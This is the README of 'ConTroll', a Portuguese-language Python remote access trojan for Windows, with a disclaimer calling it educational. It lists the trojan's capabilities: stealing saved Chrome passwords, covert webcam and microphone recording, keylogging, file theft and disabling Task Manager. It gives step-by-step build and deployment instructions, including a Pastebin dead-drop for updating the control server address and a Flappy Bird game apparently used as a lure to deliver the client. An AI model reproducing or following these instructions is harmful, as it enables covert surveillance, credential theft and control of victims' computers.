AVISO LEGAL

ConTroll é apenas para fins educacionais/pesquisa. O autor NÃO assume nenhuma responsabilidade e/ou responsabilidade pela forma como você escolhe usar qualquer uma das ferramentas/códigos-fonte/arquivos fornecidos. O autor e qualquer pessoa afiliada não serão responsáveis por quaisquer perdas e/ou danos em conexão com o uso de QUALQUER arquivo fornecido com o ConTroll. Ao usar o ConTroll ou qualquer arquivo incluído, você entende que está CONCORDANDO EM USAR POR SUA CONTA E RISCO.

Mais uma vez, o ConTroll e TODOS os arquivos incluídos são apenas para fins EDUCACIONAIS e/ou de PESQUISA. ConTroll é destinado APENAS para ser usado em seus próprios laboratórios de pentest, ou com consentimento explícito do proprietário da propriedade sendo testada.

ConTroll - Trojan de Acesso Remoto (RAT)

Assista ao Vídeo de Apresentação Aqui

Criou um trojan de acesso remoto que estabelecerá controle administrativo sobre qualquer máquina Windows que comprometer.

ATUALIZAÇÕES DESDE A APRESENTAÇÃO EM VÍDEO

1. Atualizar remotamente o endereço IP e porta que o cliente deve usar para se comunicar
2. Inserir endereço IP na execução do servidor
3. Desabilitar o gerenciador de tarefas

Funcionalidades

1. Bloquear a tela da vítima.
2. Reconexão automática ao servidor.
3. Criar uma caixa de popup personalizada.
4. Capturar arquivos da máquina da vítima.
5. Obter informações sobre a máquina da vítima.
6. Roubar senhas salvas armazenadas no Chrome.
7. Ativar a webcam do sistema e gravar vídeo.
8. Ativar o microfone do sistema e gravar áudio.
9. Matar qualquer processo em execução na máquina da vítima.
10. Monitorar o comportamento do usuário através de recursos de keylogger (teclas pressionadas e capturas de tela).
11. Desabilitar o Gerenciador de Tarefas. (ATENÇÃO: VOCÊ PODE QUERER DESABILITAR ISSO SE EXECUTAR LOCALMENTE)

Requisitos

Você PRECISA de uma arquitetura de SO de 32 bits para construir os binários. Portanto, use um sistema win32 ou unix32 para executar e construir o código.

1. python 2.x
2. opencv
3. numpy
4. pyhook
5. pythoncom
6. pyinstaller
7. pygame
8. py2exe
9. pyAudio

Uso

NOVO

CONFIGURE UMA CONTA NO PASTEBIN, CRIE UM NOVO PASTE COM O ENDEREÇO IP E O NÚMERO DA PORTA QUE VOCÊ QUER QUE O CLIENTE ENVIE AS RESPOSTAS. O ENDEREÇO IP E O NÚMERO DA PORTA DEVEM SER SEPARADOS POR DOIS PONTOS ASSIM 192.168.12.14:5000. APÓS CRIAR O POST, CLIQUE EM RAW, ISSO DEVE REDIRECIONÁ-LO PARA UMA PÁGINA COM APENAS O ENDEREÇO IP E O NÚMERO DA PORTA; COPIE ESSE LINK E COLE-O NO CLIENT.PYW NA FUNÇÃO getIpAddress. SE POR ALGUM MOTIVO VOCÊ QUISER ATUALIZAR O IP E/OU A PORTA QUE DESEJA PARA O CLIENTE, FAÇA LOGIN NA SUA CONTA DO PASTEBIN E FAÇA AS ALTERAÇÕES, SALVE E O CLIENTE ADOTARÁ ESSAS ALTERAÇÕES.

1. Clone o repositório

git clone https://github.com/Lithium95/ConTroll_Remote_Access_Trojan.git

2. Instale opencv e numpy a partir do requirements.txt

python -m pip install -r requirements.txt

3. Baixe e instale o pyHook

4. Baixe e instale o pythoncom

5. Baixe a wheel do pyAudio

6. Instale o arquivo wheel

python -m pip install PyAudio-0.2.11-cp27-cp27m-win32.whl

7. Use o pyinstaller para construir o binário do cliente

python pyinstaller.py --onefile --windowed client.pyw

Pule os próximos 2 passos se não quiser usar o jogo flappy bird

8. Configure um servidor local para hospedar o client.exe. Use live-server

live-server --port=8081

9. Use o py2exe para construir o jogo flappy bird

python setup.py

O executável para o jogo flappy bird estará em uma pasta chamada 'dist'

10. Execute o servidor

python server.py

11. Aguarde o cliente conectar

A Fazer

1. Tornar o RAT multiplataforma
2. Limpar os logs de Sistema, Segurança e Aplicativos
3. Criptografar a comunicação entre servidor e cliente
4. Editar as propriedades de acesso, criação e modificação de arquivos
5. Ativar/Desativar serviços como RDP, UAC e Windows Defender